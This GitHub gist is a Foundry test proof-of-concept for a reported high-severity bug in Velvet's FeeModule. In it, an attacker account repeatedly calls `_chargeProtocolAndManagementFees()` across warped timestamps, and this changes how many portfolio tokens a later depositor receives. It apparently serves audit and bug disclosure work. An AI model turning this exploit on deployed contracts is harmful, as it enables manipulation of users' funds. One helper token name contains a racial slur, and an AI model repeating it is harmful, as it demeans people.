Skip to content

Instantly share code, notes, and snippets.

@burhankhaja
Last active July 7, 2024 07:41
Show Gist options
  • Save burhankhaja/adf9a6ad04ee2304a44c6d0327c761d2 to your computer and use it in GitHub Desktop.
Save burhankhaja/adf9a6ad04ee2304a44c6d0327c761d2 to your computer and use it in GitHub Desktop.
high severity bug in velvet's FeeModule.sol `_chargeProtocolAndManagementFee()`
import "forge-std/Test.sol";
import "src/contracts/core/Portfolio.sol";
import {FunctionParameters} from "src/contracts/FunctionParameters.sol";
import "src/contracts/access/AccessController.sol";
import "src/contracts/config/protocol/ProtocolConfig.sol";
import "src/contracts/config/assetManagement/AssetManagementConfig.sol";
import "src/contracts/core/management/TokenExclusionManager.sol";
import "src/contracts/fee/FeeModule.sol";
import "src/contracts/vault/VelvetSafeModule.sol";
import "@gnosis.pm/zodiac/contracts/interfaces/IAvatar.sol"; // for creating avatar target contract
import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; //@note for creating helper portfolio tokens in this file below
import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable-4.9.6/token/ERC20/IERC20Upgradeable.sol";
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
contract SupplyHack is Test {
// uintMax
uint256 max_uint = type(uint256).max;
// Users
address firstDepositor = makeAddr("firt Depositor");
address alice = makeAddr("alice");
address attacker = makeAddr("attacker");
// Access Controller
AccessController accessController;
address supaAdmin = makeAddr("Access control admin");
// ProtocolConfig
ProtocolConfig protocolConfig;
address velvetTreasury = makeAddr("velvet treasury");
address oracle = makeAddr("oracle");
//assetmanagementConfig
AssetManagementConfig assetManagementConfig;
uint256 managementFee = 1_000; // if lesser reverts
uint256 performanceFee = 3000;
uint256 entryFee = 500; // as per implem
uint256 exitFee = 500; // ==
uint256 initialPortfolioAmount = 1e16; // on first depost this is how much tokens will be minted regardless of the deposit {Implementation : vaultManger.sol#L220} ;;; labeling it as @audit-issue just to notice it while testing deposits
// remember it must not be less than minInitialPortfolioAmount = 1e16) otherwise reverts will happen
uint256 minPortfolioTokenHoldingAmount = 1e16; //if lesser protocol will throw revert
address assetManagerTreasury = makeAddr("Asset manager treasury");
// TokenExclusiveManager
TokenExclusionManager tokenExclusionManager;
// FeeModule
FeeModule feeModule;
// velvet safeMoule
VelvetSafeModule velvetSafeModule;
//portfolio
Portfolio portfolio;
address vault;
// Portfolio Tokens
HAT hat;
TAO tao;
RNT rnt;
function setUp() external {
// in order to mantain access controller ownership
vm.startPrank(supaAdmin);
accessController = new AccessController();
vm.stopPrank(); //@audit later don't forget to call setUpRoles() to update roles in protocol
//protocolConfig
protocolConfig = new ProtocolConfig();
_initProtocolConfig();
//assetmanagementConfig
assetManagementConfig = new AssetManagementConfig();
_initAssetManagementConf();
// TokenExclusionManager
tokenExclusionManager = new TokenExclusionManager();
_initTokenExclusionManager();
// FeeModule
// {{@audit Acknowledge circular dependency b/w feemodule and portfolio that is why later use vm.store in feeModule to store portfolio address}}
feeModule = new FeeModule();
_initFeeModule();
// Deploy velvetSafeMoule
vm.startPrank(supaAdmin);
velvetSafeModule = new VelvetSafeModule();
vm.stopPrank();
//portfolio
vm.startPrank(supaAdmin);
portfolio = new Portfolio();
vault = address(portfolio); // set vault to same portfolio address
_initPortfolio();
vm.stopPrank();
// Portfolio Tokens
hat = new HAT();
tao = new TAO();
rnt = new RNT();
//Update portfolio address in feeModule @note cause of circular dependency
feeModule.ChangePortfolioAddress(address(portfolio));
//@note update accessController roles setUproles()
_initAccessRoleSetup();
// initialize portfolio tokens (HAT, TAO, RNT)
_initPortfolioTokens();
// set target and transfer ownership in velvetSafeModule
_setTargetAndTransferOwnershipToPortfolio();
}
/** ========================================================
Hack Test
============================================================*/
// balance == 9500000000000000 (normal case)
function test_NormalDeposit() public {
console.log(
"alice deposits normally just after the initial depositor...."
);
_summarize_InitialDeposit();
_aliceDeposits();
console.log("portfolio balance of alice: ", portfolio.balanceOf(alice));
}
// balance > 9500000000000000 (depends on no of blocks && timestamp difference between them)
function test_AfterAttackDeposit() public {
console.log(
"after the initial deposits, the attacker exploits feeModule and then alice deposits...."
);
_summarize_InitialDeposit();
_simulateAttacksInDifferentBlocks();
_aliceDeposits();
console.log("portfolio balance of alice: ", portfolio.balanceOf(alice));
console.log("Increase due to attack: ", portfolio.balanceOf(alice) - 9500000000000000);
}
/** ========================================================
Helper functions
============================================================*/
// Attack helpers
// @note regardless of the initialdepositor deposit tokens, he will receive constantly initialPortfolioAmount,
function _summarize_InitialDeposit() internal {
vm.startPrank(firstDepositor);
_mint_Approve_ERCS(firstDepositor, 10, 10);
uint256[] memory amounts = new uint256[](3);
amounts[0] = 10;
amounts[1] = 10;
amounts[2] = 10;
portfolio.multiTokenDepositFor(firstDepositor, amounts, 1e16);
vm.stopPrank();
}
function _aliceDeposits() internal {
vm.startPrank(alice);
_mint_Approve_ERCS(alice, 10, 10); //earlier 1000
uint256[] memory amounts = new uint256[](3);
amounts[0] = 10; //earlier 100/each
amounts[1] = 10;
amounts[2] = 10;
portfolio.multiTokenDepositFor(alice, amounts, 1e16);
vm.stopPrank();
}
function _simulateAttacksInDifferentBlocks() internal {
vm.startPrank(attacker);
uint blocks = 200;
for (uint i = 1; i < blocks; i++) {
vm.warp(block.timestamp + 50); //@note the gap b/w block.timestamp gives a great deviation in inflation
feeModule._chargeProtocolAndManagementFees();
}
vm.stopPrank();
}
// SETUP helpers
function _initProtocolConfig() internal {
vm.store(address(protocolConfig), 0, 0); // bypass initializer modifier
protocolConfig.initialize(velvetTreasury, oracle);
}
function _initAssetManagementConf() internal {
vm.store(address(assetManagementConfig), 0, 0); // bypass initializer modifier
address[] memory whitelistedTokens;
FunctionParameters.AssetManagementConfigInitData
memory initData = FunctionParameters.AssetManagementConfigInitData({
_managementFee: managementFee,
_performanceFee: performanceFee,
_entryFee: entryFee,
_exitFee: exitFee,
_initialPortfolioAmount: initialPortfolioAmount,
_minPortfolioTokenHoldingAmount: minPortfolioTokenHoldingAmount,
_protocolConfig: address(protocolConfig),
_accessController: address(accessController),
_assetManagerTreasury: assetManagerTreasury,
_whitelistedTokens: whitelistedTokens,
_publicPortfolio: true,
_transferable: true,
_transferableToPublic: true,
_whitelistTokens: false
});
assetManagementConfig.init(initData);
}
function _initTokenExclusionManager() internal {
vm.store(address(tokenExclusionManager), 0, 0); // bypass initializer
tokenExclusionManager.init(
address(accessController),
address(protocolConfig)
);
}
function _initFeeModule() internal {
vm.store(address(feeModule), 0, 0);
address tempPortfolioAddress = makeAddr("temp portfolio address"); //@note because of circular dependency b/w portfolio and feemodule
feeModule.init(
tempPortfolioAddress,
address(assetManagementConfig),
address(protocolConfig),
address(accessController)
);
}
function _initPortfolio() internal {
vm.store(address(portfolio), 0, 0);
FunctionParameters.PortfolioInitData
memory initData = FunctionParameters.PortfolioInitData({
_name: "what time is it",
_symbol: "WTIT",
_vault: vault,
_module: address(velvetSafeModule),
_tokenExclusionManager: address(tokenExclusionManager),
_accessController: address(accessController),
_protocolConfig: address(protocolConfig),
_assetManagementConfig: address(assetManagementConfig),
_feeModule: address(feeModule)
});
portfolio.init(initData);
}
// feeModule's slot-251 stores portfolio address : {forge inspect src/contracts/fee/FeeModule.sol:FeeModule storage --pretty}
//@issue there was something wrong about this function breaking, didn't update correctly portfolio address
//@note i've address extra external ChangePortfolioAddress() function in feemodule that allows to update porfolio
function _reInitPortfolioAddressInFeeModule() internal {
bytes memory tempdata = abi.encodePacked(address(portfolio));
bytes32 portfolioAddress = bytes32(tempdata);
// vm.store(address(feeModule), 251, /*portfolioAddress*/ 0);
vm.store(address(feeModule), bytes32(uint(251)), portfolioAddress);
}
function _initAccessRoleSetup() internal {
//@note that for the initial Hack POc we don't need rebalancing contract that is why using temp
address t_Rebalancing = makeAddr("Temporary Rebalancing contract");
FunctionParameters.AccessSetup memory _setupData = FunctionParameters
.AccessSetup({
_portfolio: address(portfolio),
_portfolioCreator: supaAdmin,
_rebalancing: t_Rebalancing,
_feeModule: address(feeModule)
});
vm.startPrank(supaAdmin);
accessController.setUpRoles(_setupData);
vm.stopPrank();
}
function _initPortfolioTokens() internal {
address[] memory _tokens = new address[](3);
_tokens[0] = address(hat);
_tokens[1] = address(tao);
_tokens[2] = address(rnt);
vm.startPrank(supaAdmin);
portfolio.initToken(_tokens);
vm.stopPrank();
}
// TOKENS helpers
function _mint_Approve_ERCS(
address user,
uint _mintAmount,
uint _approveAmount
) internal {
// Mint N tokens
hat.mint(user, _mintAmount);
tao.mint(user, _mintAmount);
rnt.mint(user, _mintAmount);
// Appove Portfolio M tokens
hat.approve(address(portfolio), _approveAmount);
tao.approve(address(portfolio), _approveAmount);
rnt.approve(address(portfolio), _approveAmount);
}
//======================================================================================
// ADDING AVATAR FUNCTIONALITY TO TESTING CONTRACT
// ============================================================
function execTransactionFromModuleReturnData(
address _token,
uint256 value,
bytes calldata data, // if memory the decoding won't work properly
Enum.Operation operation
) public returns (bool success, bytes memory returnData) {
vm.startPrank(address(portfolio));
(address _to, uint256 _amount) = abi.decode(
data[4:],
(address, uint256)
);
ERC20(_token).transfer(_to, _amount);
vm.stopPrank();
success = true;
// returnData --> length == 0 --> passes checks
}
//@note set testing contract as avatar
function testingContract() public view returns (address) {
return address(this);
}
function _setTargetAndTransferOwnershipToPortfolio() internal {
vm.startPrank(velvetSafeModule.owner()); // although 0 address right now but doesn't matter, causing we transferring roles
velvetSafeModule.setTarget(testingContract()); // this address
velvetSafeModule.transferOwnership(address(portfolio));
vm.stopPrank();
}
}
// HAT, TAO, RNT
contract HAT is ERC20 {
constructor() ERC20("hats.finance", "$HAT") {}
//@notice Helper Mint function
function mint(address _to, uint _amount) public {
_mint(_to, _amount);
}
}
contract TAO is ERC20 {
constructor() ERC20("TaoMo", "$TAO") {}
//@notice Helper Mint function
function mint(address _to, uint _amount) public {
_mint(_to, _amount);
}
}
contract RNT is ERC20 {
constructor() ERC20("Real.Nigga.tate", "$RNT") {}
//@notice Helper Mint function
function mint(address _to, uint _amount) public {
_mint(_to, _amount);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment